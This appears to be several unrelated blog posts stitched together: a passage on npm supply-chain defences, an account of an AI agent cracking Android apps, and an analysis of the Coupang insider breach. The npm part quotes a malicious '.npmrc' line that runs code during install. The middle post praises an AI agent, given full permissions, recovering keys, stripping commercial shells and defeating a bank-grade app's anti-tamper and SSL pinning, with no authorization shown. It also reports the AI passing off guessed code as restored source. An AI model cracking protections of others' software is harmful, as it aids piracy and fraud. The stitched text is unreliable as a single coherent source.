{  "node_modules/body-parser": {    "version": "2.2.2",    "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-2.2.2.tgz",    "integrity": "sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA=="  }}

When I delete all the node_modules and run npm install, it will definitely download version 2.2.2, and after downloading, it will verify the integrity to prove that the file has not been tampered with. If it has been tampered with, the hash will be different, resulting in an error.

If there is no package-lock.json, then when I run npm install, it will re-resolve the dependencies. If the latest version at that time is 2.2.3, it will install 2.2.3.

Therefore, once you generate the lockfile, if there are no issues with this batch of packages, as long as there are no upgrades or new packages added, “basically” it can guarantee that every download is safe, because the versions and hashes of the safe packages are recorded.

So please make sure to include the lockfile in version control; this is very important.

Tip 3: Scan Before Downloading

Since computers have antivirus software, naturally, there are also cybersecurity companies that provide protection for npm.

Currently, the most well-known is Socket’s Socket Firewall, abbreviated as sfw, which has both a free version and a paid enterprise version.

I mentioned earlier that these cybersecurity companies can quickly detect which packages have issues, even faster than the npm official team. For example, it was previously mentioned that a malicious version was detected within 1 hour of its release, but it was taken down 3 hours later, leaving a 2-hour window in between.

When you use sfw to download packages, it will first check Socket’s internal database to see if there are any issues with the package. If there are, it will be blocked directly. So before the npm official team takes it down, you won’t download the malicious package.

For those packages that have not yet been confirmed as safe, they will also be scanned on the server, and only after confirming that there are no issues will they be downloaded (the free version will only provide a warning, while the paid version can be set to block directly).

In fact, Socket’s sfw can be used not only for npm but also for Python’s pip and uv, or Rust’s cargo; other features are only available in the paid version.

Having said that, it seems we have done everything we should do. We have already activated the cooldown, only downloading packages released more than 3 days ago, and ignoring those scripts. Even if we do install them, they won’t execute malicious code immediately, so it should be very safe, right?

If you think this way, you are becoming complacent; the devil is always in the details.

The Devil in the Details: Packages Outside of the Registry

npm is a registry, and you can set up your own registry through other means, such as Verdaccio, which is a registry that you can set up yourself to host private packages.

Or there’s jsr, another open-source registry that can be used by adding @jsr:registry=https://npm.jsr.io to your .npmrc.

But since these are all registries supported by npm, it means they must adhere to the same set of protocols.

For example, when you install the package zod from npm, npm will first fetch https://registry.npmjs.com/zod, and the response will be a JSON describing it, including the latest stable version and information about each version, etc. The time field records the release time of each version, and the min release age is determined based on this time:

The details of each version are in the versions section. Taking the latest version 4.4.3 as an example, the integrity field is used to verify whether the package has been altered, and the tarball https://registry.npmjs.org/zod/-/zod-4.4.3.tgz is the package that will ultimately be downloaded:

If you use the method mentioned above to have npm resolve packages by going to the jsr URL, when you install @zod/zod, the resolved JSON URL will be https://npm.jsr.io/@jsr/zod__zod:

Although it lacks quite a few things, it still has time and versions, and 4.4.3 still contains integrity and tarball:

The methods mentioned above still allow you to install packages from the registry; it’s just that the registry’s URL is different. It’s somewhat like being able to host a project on GitHub, GitLab, or Bitbucket, but fundamentally they are all git, the format is the same, it’s just that you need to change the URL.

However, besides installing packages from the registry, there are actually two other ways:

1. Direct download via URL
2. git

For the first method, taking the n8n component @n8n/instance-ai as an example, most of its dependencies are quite normal, such as "csv-parse": "6.2.1" or "nanoid": "3.3.8", with the name followed by the version number, but if you look closely, you’ll find one exception:

{  "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.2/xlsx-0.20.2.tgz"}

When installing the xlsx package, it directly specifies the URL instead of a version. This means that this package will be downloaded directly from this URL, rather than from the npm registry.

Why is this the case?

It seems to be because the SheetJS team had some disputes with npm, so they moved, resulting in the current version of xlsx on npm being an old version from a few years ago, while the latest version is on their own gitea, and the official documentation also recommends installing directly from the URL:

npm i --save https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz

What are the downsides of this? The downside is that besides npm, you now have another place to worry about. If this URL gets hacked and the content is replaced with a malicious version, you will download it directly. Moreover, the min release age does not apply because it is not from the registry, so there is no way to know when it was released.

Therefore, it’s best to avoid using third-party tarball URLs whenever possible.

The other method, using a git URL, might be used by some internal company projects. When a company does not have an internal private registry, it may use a git URL to download packages.

For example, this package system-font-families used to fetch the system font list has the following dependencies:

{  "dependencies": {    "babel-polyfill": "^6.23.0",    "file-type": "^10.11.0",    "read-chunk": "^3.2.0",    "ttfinfo": "https://github.com/rBurgett/ttfinfo.git"  }}

This ttfinfo directly specifies a git URL. When we install this package using npm install system-font-families, we will see in the lockfile:

{  "node_modules/ttfinfo": {    "version": "0.2.0",    "resolved": "git+ssh://git@github.com/rBurgett/ttfinfo.git#f00e43e2a6d4c8a12a677df20b7804492d50863c",    "license": "MIT"  }}

The final resolved location of ttfinfo is a git URL, and it pins the latest commit f00e43e2a6d4c8a12a677df20b7804492d50863c. When others install using the same lockfile, they will install the same version.

But the problem is that the original system-font-families does not actually specify a version, so if there is no lockfile, you will always install the latest ttfinfo, and the min release age also does not apply.

More importantly, the cybersecurity company koi reported a vulnerability to npm last November, where when installing git dependencies, npm would clone the git repo and then run npm install again in the repo.

In the .npmrc, there is a setting called git, where you can specify which command to use for running git commands. Therefore, a malicious git package can simply add a .npmrc with the following content:

git=./pwn.sh

Then, by adding a git sub-dependency, when you install this package, the system will execute pwn.sh, bypassing the original ignore-scripts restriction. You might think that ignore-scripts can prevent any script from running, but that’s not the case.

At that time, npm stated that this was an intentional design and not considered a vulnerability, but later they did make some changes (which will be mentioned later).

Blocking git and direct URLs

Even though we have blocked scripts and added cooldowns, if a package is downloaded from git or a direct URL, we encounter other issues. Therefore, the best approach is to simply block packages from these sources, allowing downloads only from the registry, thus limiting the attack surface.

Starting from v11, pnpm has set the blockExoticSubdeps parameter to true by default. The Exotic refers to git and direct URLs, while Subdeps refers to “sub-dependencies.”

In other words, if the package you are installing is itself Exotic, pnpm will not block it. For example, if you directly install xlsx, it will install successfully. However, if you install a package A that requires xlsx, it will fail to install.

After all, the first-level dependencies are installed by the user themselves, so they should know what they are doing and the risks involved, but many people are unaware of what these sub-dependencies entail, so they are blocked by default.

Let me demonstrate this for you. If you execute pnpm i n8n, you will see the following error:

It clearly states that the sub-dependency of n8n, @n8n/instance-ai@1.6.2, also depends on xlsx, but it was blocked due to blockExoticSubdeps.

Additionally, npm introduced two new parameters, allow-git and allow-remote, after version v11.10.0, which can be set to none, root, or all.

Currently, the default is all, which behaves the same as before, allowing both git and direct URLs. If both are set to root, it will behave like pnpm, allowing only the first-level packages to be from a URL or git.

According to npm’s announcement from February, starting from the next major version v12, allow-git will default to none, disallowing all installations.

This announcement even mentioned the behavior reported earlier by koi:

Git dependencies—direct or transitive—can include .npmrc files that override the git executable path. This enables arbitrary code execution during install even when using –ignore-scripts. The new –allow-git flag gives you explicit control over this behavior.

Initially, they said this was not a vulnerability and closed the report, but later, in some sense, they still fixed it, as the next major version will not allow git, perhaps not considering this behavior severe enough to be treated as an immediate vulnerability.

Sincerely recommending pnpm and my npm settings

While researching these supply chain attack methods in the JavaScript ecosystem, I can clearly feel that pnpm is more thoughtfully designed, and it blocks what needs to be blocked by default.

For example, you can directly find a document on Mitigating supply chain attacks, which clearly explains the current attack surface and defense methods, essentially covering the few points we mentioned earlier:

1. Prevent postinstall scripts
2. Prevent exotic transitive dependencies
3. Delay package updates
4. Use lockfile

There is also a trustPolicy that hasn’t been mentioned earlier, which is mainly related to releases. If the “trustworthiness” of a release decreases, it will be blocked first, mainly related to the method used during the release and provenance. I haven’t had time to study it, so I won’t discuss it further for now.

The defensive measures mentioned above have been automatically handled for you since pnpm v11:

1. postinstall and other scripts are disabled by default (this was available earlier, since v10)
2. minimumReleaseAge is set to 1 day by default
3. blockExoticSubdeps is enabled by default

For npm, you need to set it up yourself. My current settings are:

ignore-scripts=truemin-release-age=3allow-git=noneallow-remote=none

If needed, you can adjust it yourself, for example, if you need to use git, you can set allow-git=root and so on.

Summary

When using a computer in general, everyone knows not to casually download and install software from unknown sources. However, at the same time, some people casually install VSCode extensions, open-source projects from GitHub, or packages used during development, ignoring that these can also cause problems.

Developers are often high-value targets, and many developers have various cloud service keys directly on their computers, which could even be production keys. There are also risks when installing packages in CI, where there are usually more high-value tokens that can be stolen. Many attacks start by hacking into a certain package and then using that package to hack into more packages and companies, continuously expanding the scope of the impact.

Recently, there have been many supply chain attacks, with one occurring every week or two, and they are quite large in scale. Furthermore, previous supply chain attacks might have targeted a small package, but recent attacks have directly hacked into larger ones (like axios and TanStack, which were directly hacked), rather than starting from those very small sub-packages.

I recommend that everyone set up everything that needs to be configured. If using npm, it is:

ignore-scripts=truemin-release-age=3allow-git=noneallow-remote=none

If using pnpm, just update to the latest version and that’s all.

If you want to be even safer, you can use the previously mentioned sfw to add an extra layer of protection.

Although risks cannot be avoided 100%, at least we can try to minimize them. For even greater safety, you can install packages or even develop entirely within a dev container, which allows you to control what the environment can access from a lower level, embodying a sandbox concept, but this comes at a higher cost.

In summary, I believe it is essential to configure npm properly or switch to pnpm.

Nearly two months have passed, and during this time, I used AI to reverse engineer more things, including many that I thought AI couldn’t handle. However, AI slapped me in the face, revealing that I was the ignorant one.

This article documents what AI can achieve and concludes with how this experience has changed my perspective on AI.

Selected Cases

The following cases are all Android applications unless otherwise specified.

Case 1: Cocos2d Game

After AI unpacked the APK, it used jadx to decompile the Java and found that the game logic was not included.

Upon observation, it was discovered that the game was written in Cocos2d, with a large number of encrypted JavaScript and JSON files under the assets directory, as well as a libcocos2djs.so.

The next step was to parse the symbols within libcocos2djs.so, where some encryption and decryption functions were indeed found. However, since this SO file was 35 MB, AI deemed it too large and chose to reverse engineer from the decryption functions instead, identifying that the encryption algorithm was Blowfish.

Next, I traced who called the function that set the key, and after decompiling that segment, I restored the key, which was constructed in the original code by concatenating strings one by one:

std::string key;key.push_back('7');  // MOV W8, 0x37key.push_back('2');  // MOV W8, 0x32key.push_back('c');  // MOV W8, 0x63key.push_back('d');  // MOV W8, 0x64....（32 in total）

This is particularly noteworthy because before attempting this method, AI first scanned the code to see if there were any strings resembling the key, but found none. By this point, AI understood that since the key was added one by one, it was not continuous in the code and could not be directly scanned.

Then, I wrote a Python script to decrypt all resources, ultimately obtaining the JavaScript and restoring the game logic and client-side configuration.

This case primarily involved pure static analysis, where AI used static analysis alone to find the encryption and decryption functions as well as the key-setting location, then decompiled back to derive the key’s content and decrypted the game resources.

Case 2: Another Cocos2d Game

Similarly, after unpacking and using jadx, it was found that the DEX had a shell added. However, this game was also observed to be Cocos2d, so the DEX was set aside for now, and AI first looked at libcocos2djs.so, where a suspicious key was found.

However, since this key could not decrypt the encrypted JSC, AI took a different approach and used Unicorn Engine to simulate the execution of this SO, but there was no progress, as it got stuck after running for a while.

Since static analysis did not yield results, AI switched to dynamic analysis, installing an Android emulator and Frida to hook multiple parameters. Both Memory.scanSync and fopen failed, and later AI looked for the functions exported by libcocos2djs.so, discovering that xxtea_decrypt was public, so AI hooked xxtea_decrypt.

After running the game, AI obtained the correct key and restored the encrypted JSC files, which also contained the game logic and configuration.

After reaching this point, since the game had already been restored, AI stopped. I wanted to continue testing its capabilities, so I said to it, “Why don’t you try to unpack that shell?” As a result, the protection of that shell was quite weak, and after running it, frida-dexdump quickly dumped all the DEX.

This case switched from static analysis to dynamic analysis with hooking, and also conveniently unpacked a shell (although the shell was quite weak).

Case 3: Unity Game

After unpacking the APK, there were three SO files: libil2cpp, libunity, and libxlua. It was speculated that the core logic was at the Lua layer. AI then used Il2CppDumper to unpack the global-metadata, extracting some C# files and DLLs. After decompiling with ILSpy, it was found that they were all classes with empty implementations (seemingly how IL2CPP works?).

Using jadx to decompile Java also yielded some SDKs, with no game logic, so AI focused on finding the Lua files.

Using UnityPy to scan all asset bundles for TextAssets, AI only found four Lua scripts, none of which contained the core game logic. From the C# code AI obtained earlier, AI found some strings indicating that the game had a hot update system. AI attempted to download using the URLs and AES key and IV found within, but all returned 404 errors and could not be downloaded.

Later, AI turned back to the asset bundle and found a bundle containing 3000 TextAssets (which AI didn’t check the first time). From the file names, AI confirmed they were encrypted Lua scripts.

Upon observation, AI noticed that many of these files had the same first 6 bytes, speculating that they were the beginning of Lua 5.3 compiled bytecode. AI attempted to reverse-engineer the key using XOR but found it impossible to decrypt. Then AI tried several different encryption methods, various AES modes, but still couldn’t decrypt it.

Next, AI decompiled libil2cpp and saw that the decryption process indeed used XOR, and the key was a 6-byte sequence that repeated. In C#, AI couldn’t find it using a static method with global-metadata, and AI hit a roadblock, so I intervened.

I asked him, “Would dynamic analysis be faster?”

The AI provided two options: one was Frida hook, and the other was Unicorn simulation. I chose the latter, and during the script writing, the AI cleverly cracked it using a different method. It said it observed those files and found that the first 54 bytes of half of them were identical, and they were a repeating sequence of 6 bytes: c3 70 43 22 34 a6.

If the key is a 6-byte repeating XOR, then the repetition in the ciphertext indicates that the plaintext is also repeated. What Lua file would have so many identical characters at the beginning?

The AI boldly guessed: “Comments.” Lua comments start with --, and many frameworks have a habit of placing a long comment starting with ----- as a separator. Based on this assumption, it XORed to obtain the key, then decrypted the Lua scripts, discovering that everything was unlocked, revealing readable source code.

The key to this case is that the AI is observant and employs various methods to attempt decryption. Below is the process the AI followed while solving this case, showing that it tried many methods in between but none worked, so it moved on to the next method:

XAPK unpack  ↓Il2CppDumper + ILSpy + JADX  ← standard workflow, nothing unusual  ↓UnityPy scan → only 4 tool scripts found  ← assumed core logic is server-side  ↓Locate AppConfig → obtained CDN URL and AES key  ↓Attempt download → all 404  ← dead end  ↓Re-examine AssetBundle → found encrypted files!  ↓Inspect ciphertext → noticed repeating 6-byte pattern  ↓❌ Wrong assumption: Lua bytecode → derived incorrect keystream  ↓❌ Tried AES-CBC/ECB/OFB/CTR/CFB → none matched❌ Tried RC4 → no match❌ Tried .NET Random (10K seeds) → no match  ↓Reverse engineered libil2cpp.so → confirmed it's simple repeating XOR (not a stream cipher)  ↓❌ Tried statically finding ENCRYPT_BYTES → failed❌ Tried metadata defaultValues → failed❌ Tried ELF GOT/RELA → too deep  ↓Revisited ciphertext patterns → 1500 files share a 62-byte prefix  ↓💡 Hypothesis: plaintext is repeated '-' (0x2d) → XOR to recover key → decryption succeeded!

Case Four: Another Unity Game

Similar to the previous one, it was also discovered to be Unity + Lua, but this time the decryption method was simpler. After dumping the C#, AI searched using “encrypt” as a keyword and directly found the LuaEncryption key and the custom asset bundle offset, needing to skip the first 12 bytes.

Next, AI skipped 12 bytes and used the key to XOR, obtaining the Lua bytecode (this time it was bytecode, not source code), which was then concatenated into a large asset.

Next, the AI wrote a Python script:

1. Skip the first 12 bytes of the custom header
2. Scan all positions marked with UnityFS\x00
3. Cut into independent bundles by offset
4. Parse each bundle using UnityPy
5. Extract all .lua.bytes files
6. Decrypt each file using the key with XOR

This resulted in over 7000 Lua JIT bytecodes, which were then all fed into ljd to recover, yielding much more readable Lua source code, totaling 10 million lines.

This case is similar to the first one; static analysis handled everything, directly finding the encryption key and method, recovering all resources.

Case Five: Obfuscated App

This is a common app that has undergone some protection. The Java layer has been obfuscated to make it difficult to reverse, and the encryption and decryption logic is placed in the so files, accessed via JNI. When sending requests, it goes through some encryption plus a signature; if the algorithm cannot be cracked, it cannot be used outside the app.

The AI discovered that after obfuscation, it wrote a de-obfuscation script that restored several core class names, then began to reverse-engineer that section of the so file, using capstone + lief to disassemble the arm64-v8a version, restoring it to pseudo-C.

With this code, further analysis was possible, ultimately restoring the encryption and decryption algorithms along with the key.

So, despite the obfuscation, the AI could derive some methods to attempt restoration through observation. Even if it couldn’t restore everything, the AI’s ability to read obfuscated code is far superior to that of a human.

Case Six: Bank-Level App

After trying the above cases, I decided to challenge the boss: a bank-level app.

Banks usually have stricter requirements for information security, so there will definitely be a lot of encryption, obfuscation, and packing, along with various anti-root and anti-hook mechanisms. Therefore, “bank-level” refers to similar specifications.

The goal is clear: to be able to open the app on a rooted emulator and hook to see the request content. Achieving this means that the internal protection mechanisms have been bypassed.

This bank-level app is packaged with what is commonly known as a commercial shell (meaning a shell specifically made by a certain company; these commercial solutions can be quite expensive, costing hundreds of thousands of TWD per year), with the main logic contained in a so file.

The AI first used objdump -h to check the section headers and found two non-standard sections. Then, more than half of the .text section was encrypted and could not be disassembled, and the .rodata section was also completely encrypted. However, from other clues, it had already inferred which company’s shell it was.

Next, the AI began trying to remove the shell of the so file, experimenting with several methods that all failed, such as attempting to brute-force the key.

After several failed attempts, it started to solve some areas that could be resolved. After trying a few methods, it understood how the shell operated and successfully removed it.

Once the shell was removed, it could see what was inside and the protective measures in place. At the native layer, there were these protections:

• Anti-injection detection: Scanning /proc/self/maps for memory mappings like frida-agent, frida-gadget, etc.
• Thread name scanning: Reading /proc/self/task/*/comm to find Frida characteristic threads like pool-frida.
• Anti-debug: ptrace(PTRACE_TRACEME) self-attach to prevent debuggers.
• String matching: Searching for Frida keywords in memory using functions like strstr, strncmp, etc.
• SO shell: The .text segment is encrypted, dynamically decrypted at runtime, making static analysis impossible.

At the Java layer, there were these:

• Root detection: File.exists() checks for paths like su, magisk, supersu, etc.
• Emulator detection.
• SystemProperties detection.
• Anti-debug.
• SSL Pinning.

The bypass method was to hook various methods in advance, making them undetectable, and then the native layer would pass the results to Java, where patching could also be done. Since it was already aware of the detection methods, it could handle them accordingly.

As for the obfuscation at the Java layer, the AI wrote a 1000-line Python script based on various rules to restore the strings, resulting in highly readable strings.

In summary, it was successful in the end; the app could be opened, and requests could be hooked, with all protective measures bypassed.

Case Seven: A Packaged Game

Since learning that AI could also remove shells, I thought perhaps there was nothing that AI couldn’t crack, so I looked for another packaged game.

This game’s difficulty was higher than the previous one; it also used a commercial shell and implemented double encryption. Its dex was first encrypted with one so file, and then that so file was encrypted with another so file, while the entry point’s so file itself was also shelled, preventing decryption.

I let the AI try for a day, but in the end, it didn’t yield any results. Even though I found other articles online that had already removed the shell, it still couldn’t fully crack it; the shell of the so file remained intact, and it encountered some obstacles.

However, after I directed the AI to change its approach, it discovered that the main logic of this Unity game was actually in Lua. Although the resources in Lua were encrypted, after observing the encrypted hex, it quickly identified the pattern and managed to decrypt it.

So, although the Java layer’s code wasn’t fully decrypted and the shell wasn’t removed, the core game logic was obtained.

This should count as a success, right? Given more time, more reference materials, and better tools, I believe it could also remove that shell.

My AI Usage and Costs

I used Cursor paired with Claude Opus 4.6 high thinking, without installing any skills, and the prompt was very simple:

There is an apk under the xxx folder, reverse it to restore it to the original code.

If it got stuck on something midway, I would give it some instructions, for example, when encountering a shelled file:

How did it achieve static analysis resistance? What kind of encryption method is used, and when will it be decrypted? Try to see if you can remove the shell.

Sometimes, I would give more specific instructions:

Let’s plan what to do next; I’m going to sleep soon.

1. Restore the .so to C.
2. Check what other protections the apk has and how to crack them.
3. Restore the Java from the obfuscated code; at least understand the logic or observe which patterns indicate it’s Android’s own lib.

These are the main tasks. I want you to have a thorough understanding of the protection methods of this apk, as if you have the source code, and come up with a cracking method.

I granted it all permissions, and it installed all the tools itself. It usually starts with static analysis, and when it gets stuck for a long time, I switch it to dynamic analysis, installing an Android emulator with Frida hook.

I observe what the AI is doing, and if I feel it’s straying too far from the direction, I intervene and give suggestions (though this happens rarely). After the AI finishes, I ask it to summarize what it did, where it got stuck, and how it resolved those issues.

After reversing many apps, I summarize these experiences into skills, allowing for faster speeds next time.

The time taken to reverse each app varies, but most are around 30 minutes. I haven’t calculated the tokens in detail, but under Cursor’s billing, reversing an app costs less than 5 dollars.

However, I also tried using Claude Code once, and one Unity game took 40 million tokens, which translates to about 27 dollars.

Therefore, a more fair statement would be that, purely based on token usage, I guess the average falls around 30 dollars. As for why using Cursor is so cheap, I don’t know; it’s clearly the same model.

The Limitations of AI

Although it is said that everything that can be solved has been solved, some things are only perceived to be solved, but in reality, they are not done well at all.

For example, after decompiling a game’s APK, it usually uses some tools to extract DLL files and then restore them to C#. Typically, my instruction is to “restore the source code,” but sometimes it only restores to the interface, with only method definitions and parameters, lacking the implementation logic.

Next comes the part where AI can easily deceive you. Even if it only has the interface, it can guess the operational logic based on these names and structures, so if you ask it to write a report analyzing what is present, it can write convincingly.

If you don’t follow up on the details, you might think it has truly restored the source code, but that’s not the case.

This is a place that requires great caution. I always follow up with it, asking, “So, did you get the source code? Let’s take a look at the implementation of the login system; we need to see the implementation for it to count,” forcing it to dig deeper and restore what I want.

This confirmation process is very important; without this step, it becomes incomplete, and you can be deceived by AI. Conversely, if you confirm properly, the output from AI will definitely satisfy you.

Some Insights

It Turns Out I Limited AI

My previous understanding of AI was: “Reversing some small things is definitely no problem, but it probably can’t unpack,” but later AI proved me wrong.

That’s when I realized I was the limiter of AI.

I hadn’t tried it myself, but I thought AI couldn’t do it. In the past, during software development, I had similar thoughts; some tasks I did myself because I felt AI couldn’t handle them. For example, needing to modify multiple projects simultaneously, or a larger feature that required a deep understanding of the overall architecture, I would think AI couldn’t do it, so I might as well do it myself.

But later, as I started delegating more and more tasks to AI, I found that it could handle most of them, reaffirming that I was the limiter of AI. No wonder some people say that in certain fields, those who don’t understand use AI better because they don’t assume AI can’t do something and let it try everything; if it can’t do it, then they address it.

Returning to the topic of AI reversing, I observed the processes of AI reversing so many apps and found that, at its core, they are all the same: making various attempts and observing the output, then improving based on the output or trying a different approach.

For example, once Frida hooks are set up, if the hook fails, it will modify based on the error log. If the app closes itself after the hook, it will change the timing of the hook or test which part is being detected, then make adjustments.

Perhaps, as long as you can provide AI with an environment where it can thrive, ensure it can see enough logs and validate correctness, and give it enough time, there is nothing that cannot be reversed. I later also tried desktop apps and wasm, and they worked too.

Even if it’s packed, as long as you let AI observe and track, just like the human reversing process, it can slowly observe, take action, adjust based on results, and then try again, repeatedly, until it succeeds.

Although I already knew AI was strong, I didn’t expect it to be this powerful. As I mentioned before in a previous post, I have a bit of knowledge about reverse engineering, but when it comes to the native layer, I am completely lost, while AI has surpassed my capabilities, accomplishing things I couldn’t do, even things I thought it couldn’t do.

After this exploration, my perspective on AI’s capabilities has completely changed, and I have given more thought to the idea of “AI replacing software engineers.” If what I said earlier, “there is nothing that cannot be reversed,” is true, can this also be applied to software development? If AI can plan, write code, test, and validate results on its own, could it continuously run and produce a complete application with good quality?

Let’s save this topic for later; there are other angles we can explore together.

The Balance of Offense and Defense

As long as it is something on the client side, there are no secrets.

Obfuscation or packing is just a way to delay the time it takes to be reversed; as long as enough time is spent, all your code runs on the client, so everything can be reversed.

Therefore, many defensive techniques are based on “increasing difficulty to prolong cracking time.” We all know there are no secrets on the client, but there are still some things on the client side that we want to protect as much as possible to increase the difficulty of reversing.

Thus, the defending side obfuscates the code, turning variables into a bunch of unreadable text, or even encrypting constants that can only be decrypted when executed, not wanting you to see the plaintext so easily. Packing is the same; they don’t want you to easily see what is running inside, and anti-debugging is also aimed at preventing you from rooting, hooking, or debugging, so they try to detect whether various reverse engineering tools exist.

On the other hand, the attacking side spends time reversing your original logic, relying on experience to speed up, knowing that this pattern looks like AES, this looks like XOR, this pattern has appeared before, and figuring out how to crack it, etc. As long as the defending side makes even a slight adjustment, the final output could be completely different, and the attacking side would need to start over.

However, with AI reversing becoming so powerful, will the positions start to reverse? The shell that the attacking side spent so much time creating could be removed by AI in just an hour. After thinking of so many obfuscation methods and implementing a new algorithm, AI could just look at it and write a reverse script, reassembling everything back together.

If the defenders want to keep up, they may need to use magic against magic, using AI to obfuscate. Each time they obfuscate, they should use a completely new method or pattern, and it’s not just a simple change; it should be made more complex by AI to ensure that the attackers have to start from scratch.

But even so, in front of AI, will it only take one or two hours to crack it? I don’t know.

Summary

I am not a reverse engineering expert, so I won’t comment much on the impact of AI in this field. But at least for someone like me who is not very skilled in reverse engineering, AI has almost completely met my needs for reverse engineering. Desktop applications can be reversed, APKs can be reversed, WASM can be reversed, shells can be stripped, and encryption can be decrypted.

For binary reverse engineering, although sometimes I need to assist in opening Ghidra and help set up Ghidra MCP, these are minor issues.

After this experience and witnessing the capabilities of AI, I have already submitted to AI.

Is there anything that AI cannot crack? Perhaps there is; for example, the case I mentioned above, Case Seven, has not actually been cracked. It just obtained what I wanted in a different way without fully restoring the APP. But aside from that, it has indeed cracked everything else (by the way, I am curious if AI can crack the commercial shell of HybridCLR, but I haven’t encountered this commercial version yet).

Is it possible that I make AI reverse engineering sound very powerful, while in the eyes of professionals, it is not that impressive? That is also possible, after all, the things I have dismantled can also be dismantled by the experts in the kanxue (a well-known reverse engineering community in China), and some things have already been dismantled and shared, which AI has referenced.

But in any case, the original intention of this article is to record my experience with AI reverse engineering, summed up in one word: “amazing”. This experience has completely influenced my view of AI’s capabilities.

And it’s not “AI-assisted reverse engineering”; it’s full AI reverse engineering. The tool installs itself, analyzes itself, and decompiles itself. I just stand by and say, “You should be able to crack this, try again.”

Recently, I went back to review the reports from Korea and found them quite detailed, so I decided to write an article discussing how this whole incident technically occurred and what security aspects we should pay attention to.

How Did They Get In?

First, let’s briefly summarize the events of the incident to provide a basic context before diving into the finer details.

Currently, there are two official statements from Taiwan:

1. Coupang Taiwan’s Latest Statement on the Recent Cybersecurity Incident in Coupang Korea (Published on 2025-12-25)
2. Coupang Taiwan: Update on the Data Breach Announced on November 29, 2025 (Published on 2026-02-24)

However, more details can be found in this official statement available only in English and Korean: Update on Coupang Korea Cybersecurity Incident (Published on 2025-12-29)

For those interested in more technical details, you will need to refer to the investigation report released by the Ministry of Science and ICT (MSIT) in Korea on February 10, which is extremely detailed: Investigation Results on the Data Breach by a Former Coupang Employee. The technical details cited in this article will also come from this report.

The incident began on November 16, 2025, when Coupang received an email from the attacker, claiming that a large amount of personal data had been leaked due to a system vulnerability, along with relevant screenshots as proof.

Coupang immediately launched an investigation and began reviewing logs, discovering that data had indeed been stolen, leading to the news everyone has seen. The incident has now largely come to a close, and the relevant results can be found through official statements and news reports. This article will not discuss the results but will focus solely on the technical details.

Therefore, the question we are concerned with is: “How did this attacker get in?” Let’s first look at their identity.

The attacker was identified as a former Coupang software developer (Staff Back-end Engineer) who, while employed at Coupang, was responsible for designing and developing user authentication systems for backup in the event of system failures.

The attacker was a former employee and was responsible for developing auth-related systems. The person who sent the email at the beginning is also this individual, but the report and news do not explain why they chose to expose their own attack.

In a normal login process, after verifying the username and password, the system issues an “electronic access badge” (as stated in the report), and then the server uses a signing key to verify whether this badge is legitimate. While working at Coupang, the attacker directly obtained this signing key, allowing them to locally sign a legitimate badge and log in as anyone.

This electronic access badge sounds a lot like a JWT token. I tried it myself on Coupang’s Taiwan website and found that the token used for identity verification is indeed a JWT token (CT_AT_TW). When decoded, it looks like this:

{  "aud": [    "https://www.tw.coupang.com"  ],  "client_id": "4cb7da11-c6d6-4ca3-875f-332cf489d5d",  "exp": 1773067653,  "ext": {    "LSID": "a3788aeb-239c-453d-cd90-72ac345aa431",    "fiat": 1773064052  },  "iat": 1773064052,  "iss": "https://mauth.tw.coupang.net/",  "jti": "043c2c37-c373-4b75-abbc-ad8e646bb490",  "nbf": 1773064052,  "scp": [    "openid",    "offline",    "core",    "core-shared",    "pay"  ],  "sub": "556683653781741"}

Although I don’t know the internal technical implementation details of Coupang and can’t be 100% sure it’s a JWT token, since the mechanism of signing tokens for identity verification is most suitable with JWT tokens, let’s assume it’s a JWT token for now. Even if something else is used behind the scenes, the process should be similar.

At this point, it’s already quite clear how the attacker got in: they obtained the signing key (or you could also say the JWT secret) while still employed, so after leaving the company, they used this signing key to sign tokens themselves. The server verified it as legitimate and let them through, allowing them to log into someone else’s account. Once logged in, they could access personal information on pages like “my profile.”

So this is actually not an external attack; it wasn’t an external hacker exploiting a vulnerability in the auth system. Instead, it’s an insider threat, where a former employee used internal information obtained during their employment to breach the system.

Next, we can look at this issue from two angles: why an internal key was accessible to a developer, and the risks of using JWT tokens as an auth verification mechanism.

Key Management Lifecycle

Keys are important; everyone knows this. The lifecycle of a key actually consists of several stages:

1. Key Generation
2. Key Storage
3. Key Distribution
4. Key Usage
5. Key Rotation
6. Key Destruction

The first step is to generate a secret key and ensure that the generation method is secure. This step usually emphasizes using secure algorithms, sufficiently random entropy, and a secure environment, etc. A problematic example would be using an insecure random number generator (like Math.random()) or generating the key in an insecure environment, such as on a developer’s local machine.

After generation, a secure location must be chosen for storage, such as an HSM or KMS. A counterexample would be storing it in plaintext on a specific machine.

Next, when the system needs to use this key, it must be able to securely transfer the key from the storage location to the usage location. A counterexample would be transmitting the key directly over HTTP on an internal network, where anyone intercepting the packets could see the plaintext key.

When using the key, it must be used correctly. The key should only be used for its intended purpose, and access should be restricted to those who can use it. For example, if I generate one key and every system uses the same one, that is an incorrect usage method. If it gets stolen, every system is compromised. There should be one key for auth, one for payment, or even multiple keys within the same system.

From Coupang’s public statement, it can be seen that although their auth key was leaked, payment-related services were unaffected, and no data was leaked. The investigation report from Korea also indicated that the impact was limited to pages like “My Information,” excluding payment-related information.

Finally, regarding key retirement, key rotation should be performed regularly to replace keys and limit the attack time window. After a key is completely destroyed, it must be ensured that it cannot be recovered, and that key should not be used again.

In this lifecycle, any step with an issue could lead to key leakage.

In the case of Coupang, since a former employee could access the key, it suggests that there was an error in the first two steps. The investigation report pointed out that the current employee’s computer also had this key:

A forensic examination of laptops used by current developers confirmed that the signing key, which was required to be stored exclusively within the key management system, had also been stored locally on developer laptops (via hardcoding).

Many companies, when managing keys, may only consider half of the process. For example, they might know to use some Secret Manager or vault to store keys and securely transmit them for system use, but overlook other steps, such as key generation.

How was this key generated? Many companies might have a developer generate a key locally and then pass it to SRE, who configures it in the vault. In this process, the key has already been known to at least two internal employees, and there isn’t much logging available to check, as this occurs before the key is placed in the vault.

When the key is managed elsewhere, it is possible for SREs to have the permission to directly view the plaintext of the key and steal it. However, the vault system should have an access log that can be traced back. But if the logging occurs before the key is placed in, there will be no record, creating a security vulnerability.

Although the risk of insiders is relatively lower compared to other categories, as internal malfeasance is usually easier to detect and can lead to legal consequences, once it occurs, it can still cause significant damage to the company’s reputation, just like the recent Coupang incident.

Safer Key Management Methods

